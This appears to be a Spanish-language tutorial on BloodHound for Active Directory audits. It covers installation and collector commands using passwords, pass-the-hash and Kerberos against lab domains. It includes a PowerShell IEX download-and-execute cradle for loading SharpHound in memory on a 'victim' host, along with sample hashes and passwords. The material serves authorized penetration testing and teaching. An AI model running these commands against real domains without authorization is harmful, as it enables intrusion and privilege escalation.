BloodHound

Introduction

BloodHound es una herramienta fundamental en auditorías de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podría moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.

En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre BloodHound clásico y BloodHound Community Edition (CE).

A lo largo del blog veremos:

  • Cómo utilizar los diferentes collectors:

    • SharpHound.exe: el ejecutable clásico.

    • SharpHound.ps1: ideal para entornos con PowerShell habilitado.

    • bloodhound-python: pensado para ejecución desde sistemas Linux.

    • RustHound-CE: el collector moderno optimizado para BH-CE.

    • NetExec: permite extraer relaciones básicas directamente desde Linux.

    • certipy-ad: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE

  • Cuándo conviene usar cada uno.

  • Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.

  • Casos prácticos de uso en auditorías reales o entornos simulados.

El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditoría y aprovechar al máximo sus capacidades.


Collectors

Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los collectors, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.

Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.

En este apartado documentamos los principales collectors utilizados en auditorías de AD, incluyendo su instalación, ejecución y particularidades:

  • SharpHound.exe: el ejecutable clásico para entornos Windows.

  • SharpHound.ps1: alternativa en PowerShell útil en entornos con políticas más restrictivas.

  • bloodhound-python: collector multiplataforma, ideal para recolección desde sistemas Linux.

  • RustHound-CE: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.

Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditoría.


bloodhound-python

Installation

Via APT
sudo apt install bloodhound.py -y
Via PIP
pip install bloodhound
Via PIPX
pipx install bloodhound
Via cloning repository
git clone https://github.com/dirkjanm/BloodHound.py
pip install .

Use

# Autenticación usuario y contraseña

bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All

# Autenticación a través de Pass-the-Hash (PtH)

bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All

# Autenticación mediante Kerberos (.ccache)

bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos

RustHound-CE

Installation

Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.

Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.

cargo install rusthound-ce

Use

# Autenticación usuario y contraseña

rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound

# Autenticación mediante Kerberos (.ccache)

rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound

SharpHound.ps1

Importar en memoria SharpHound.ps1

# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.

IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")

# Teniendo el script de PowerShell en la máquina vícitma podemos importarlo de la siguiente manera

. .\SharpHound.ps1
Import-Module .\SharpHound.ps1

Recoletar información a través de SharpHound.ps1

Invoke-BloodHound -CollectionMethods All -Domain contoso.com

SharpHound.exe

Pasaremos el binario al equipo víctima y lo ejecutaremos para recolectar la información.

.\SharpHound.exe --CollectionMethods All

NetExec

# Autenticación a través de usuario y contraseña

nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

nxc ldap dc.dominio.htb --use-kcache --bloodhound --collection All --dns-server 10.10.10.10

certipy-ad

BloodHound

# Autenticación a través de usuario y contraseña

LDAP (Puerto 389)
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
LDAPS (Puerto 636)
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

LDAP (Puerto 389)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
LDAPS (Puerto 636)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

LDAP (Puerto 389)
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
LDAPS (Puerto 636)
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug

Old BloodHound

# Autenticación a través de usuario y contraseña

LDAP (Puerto 389)
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
LDAPS (Puerto 636)
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

LDAP (Puerto 389)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
LDAPS (Puerto 636)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

LDAP (Puerto 389)
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
LDAPS (Puerto 636)
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug

BloodHound CE

Installation

Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.

sudo apt update -y && sudo apt install docker-compose -y

Nos descargaremos el archivo del docker-compose.yml con cURL y comprobaremos que se ha descargado correctamente.

curl -L https://ghst.ly/getbhce -o docker-compose.yml

También podemos crear directamente el contenido del docker-compose.yml.

docker-compose.yml
# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0

services:
  app-db:
    image: docker.io/library/postgres:16
    environment:
      - PGUSER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_USER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
      - POSTGRES_DB=${POSTGRES_DB:-bloodhound}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    # ports:
    #   - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
    volumes:
      - postgres-data:/var/lib/postgresql/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  graph-db:
    image: docker.io/library/neo4j:4.4.42
    environment:
      - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
      - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    ports:
      - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
      - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
    volumes:
      - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "wget -O /dev/null -q http://localhost:7474 || exit 1"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  bloodhound:
    image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
    environment:
      - bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
      - bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
      - bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
      - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
      - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
      - bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
      - bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
      ### Add additional environment variables you wish to use here.
      ### For common configuration options that you might want to use environment variables for, see `.env.example`
      ### example: bhe_database_connection=${bhe_database_connection}
      ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
      ### is the variable available outside of Docker
    ports:
      ### Default to localhost to prevent accidental publishing of the service to your outer networks
      ### These can be modified by your .env file or by setting the environment variables in your Docker host OS
      - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
    ### Uncomment to use your own bloodhound.config.json to configure the application
    # volumes:
    #   - ./bloodhound.config.json:/bloodhound.config.json:ro
    depends_on:
      app-db:
        condition: service_healthy
      graph-db:
        condition: service_healthy

volumes:
  neo4j-data:
  postgres-data:

Iniciaremos los contenedores definidos en el archivo docker-compose.yml.

sudo docker-compose up -d

Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.

sudo docker ps

Comprobaremos la contraseña inicial en los logs.

sudo docker logs bloodhound-ce_bloodhound_1

Accederemos a http://localhost:8080 y asignaremos las siguientes credenciales:

  • Username: admin

  • Password: Contraseña Inicial obtenida en el punto anterior

Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.

Normalmente 12 caracteres mínimo, 1 mayúscula, 1 minúscula, 1 número y 1 símbolo especial.

Ya dispondremos de nuestro BloodHound CE instalado correctamente en nuestro equipo a través de Docker.

Video installation guide


Start BloodHound CE

En mi caso tengo el archivo docker-compose.yml en el directorio /opt/BloodHound-CE. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.

sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

Stop BloodHound CE

Para parar BloodHound-CE ejecutaremos el siguiente comando, así liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop

Ingest Data

Para subir nuestra información recolectada a través de los Collectors, deberemos de ingresar a http://localhost:8080. Una vez nos encontremos en el panel de BloodHound-CE realizaremos los siguientes pasos.

  1. Ingresar al apartado de "Administration"

  2. Acceder a la pestaña de "File Ingest"

  3. Click en "Upload File(s)"

Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.

Seleccioanaremos nuestro archivo comprimido.

Una vez seleccionado nuestro archivo, le daremos a la opción de Upload.

Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a Close.

Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como Complete. En caso de que aparezca otro estado como Cancelled, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del Collector utilizado, probar con otro.

Una vez todo subido, podemos hacer uso de BloodHound-CE y navegar en la interfaz.


Erase Data

Cuando necesitemos borrar la "base de datos" que tiene BloodHound-CE de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "limpieza profunda" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.

  1. Accederemos al apartado "Administration"

  2. Ingresaremos al apartado de "Database Management"

  3. Marcaremos todas las casillas, para la "limpieza profunda"

  4. Haremos click en la opción de "Proceed"

  5. Ingresaremos la palabra clave para confirmar la eliminación "Please delete my data"

  6. Una vez ingresada la palabra de confirmación, le daremos a "Confirm".


How to use

Una vez tengamos subido nuestros datos en BloodHound-CE, podremos navegar en la interfaz accediendo al apartado de "Explore".


Search

En el apartado de SEARCH podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).


Click node info

Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.

Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.

En el apartado de Object Information, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:

  • Distinguished Name

  • Si el usuario dispone de DONT_REQ_PREAUTH (Es decir, susceptible a AS-REP Roast)

  • Si se encuentra habilitado


Pathfinding

La funcionalidad de Pathfinding en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.

En este ejemplo, partimos desde OLIVIA@ADMINISTRATOR.HTB, que tiene un GenericAll sobre MICHAEL@ADMINISTRATOR.HTB, lo que permite control total sobre esa cuenta. A su vez, MICHAEL puede forzar el cambio de contraseña de BENJAMIN@ADMINISTRATOR.HTB, lo que completa la cadena de ataque.

Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.


Edges

En BloodHound CE, los edges representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (MemberOf), delegaciones (GetChanges, GenericAll, etc.), sesiones activas, ACLs y muchas otras.

Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:

Muestra una descripción técnica de la relación detectada.


Marking Objects as Owned/High Value

BloodHound CE permite marcar manualmente objetos del dominio como Owned (comprometidos) o High Value (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditoría y enfocar los análisis de ruta hacia activos críticos.

Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un ícono correspondiente.

Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).

En el panel Group Management podemos gestionar de forma organizada los objetos marcados como Owned o High Value. Su uso se resume en los siguientes pasos:

  1. Accedemos al apartado Group Management desde el ícono de personas (barra lateral izquierda).

  2. Seleccionamos el grupo que queremos revisar Owned/High Value.

  3. Elegimos el entorno, normalmente All Active Directory Domains.

  4. Aplicamos filtros si queremos ver solo ciertos tipos de nodos (User, Group o Computer, etc).

  5. Se muestra el listado de objetos que pertenecen a ese grupo, junto con su tipo y estado.

  6. Al hacer clic sobre un nodo, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.

  7. Esta sección permite llevar control visual de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.


Querys Cypher

En esta sección podemos lanzar queries en lenguaje Cypher para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos críticos de forma más precisa.

BloodHound CE ya trae varias queries predefinidas, como:

  • Usuarios Kerberoastables

  • Rutas más cortas hacia Domain Admins

  • Listado de todos los Domain Admins

  • Principales con privilegios peligrosos (DCSync, GenericAll, etc.)

También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.


Custom Querys

BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones específicas en el grafo y reutilizar esas búsquedas en futuras auditorías.

En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.

En este caso, ponemos la QUERY que queremos consultar, le daremos a "Save Query".

Le asignaremos un nombre a la QUERY.

Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.


BloodHound

Installation

Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.

sudo apt update -y && sudo apt install bloodhound neo4j -y

Abriremos en una terminal aparte Neo4j, se nos iniciará la interfaz web en http://localhost:7474

sudo neo4j console

Accederemos a http://localhost:7474 e ingresaremos las siguientes credenciales por defecto.

  • Username: neo4j

  • Password: neo4j

Nos pedirá cambiar la contraseña.

Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.

bloodhound > /dev/null 2>&1 & disown

Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.

Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.

Video installation guide


Start BloodHound and Neo4j

Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.

En una terminal aparte, abriremos Neo4j. Deberemos dejar que nos aparezca la línea del output en el cual indica que la interfaz web está habilitada en http://localhost:7474

sudo neo4j console

Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.

bloodhound > /dev/null 2>&1 & disown

Ingest Data

En redacción...


Erase Data

En redacción...


How to use

En redacción...

Última actualización

¿Te fue útil?